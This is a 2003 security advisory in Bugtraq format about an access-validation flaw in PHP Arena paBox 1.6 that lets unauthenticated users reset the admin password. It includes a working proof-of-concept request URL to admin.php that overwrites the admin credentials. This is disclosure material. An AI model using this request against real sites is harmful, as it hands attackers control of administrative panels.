PABox Password Reset Vulnerability

BID:8067

Info

PABox Password Reset Vulnerability

Bugtraq ID: 8067
Class: Access Validation Error
CVE:
Remote: Yes
Local: No
Published: Jun 30 2003 12:00AM
Updated: Jun 30 2003 12:00AM
Credit: Discovery of this issue is credited to silentscripter <[email protected]>.
Vulnerable: PHP Arena paBox 1.6
Not Vulnerable:

Discussion

PABox Password Reset Vulnerability

paBox is prone to an issue that may allow unauthenticated remote users to reset administrative passwords. This could permit unauthorized access to the administrative Control Panel.

Exploit / POC

PABox Password Reset Vulnerability

This issue can be exploited with a web browser. The following example was submitted:

http://www.example.com/thebox/admin.php?act=write&username=admin&password=admin&aduser=admin&adpass=admin

Solution / Fix

PABox Password Reset Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

References

PABox Password Reset Vulnerability

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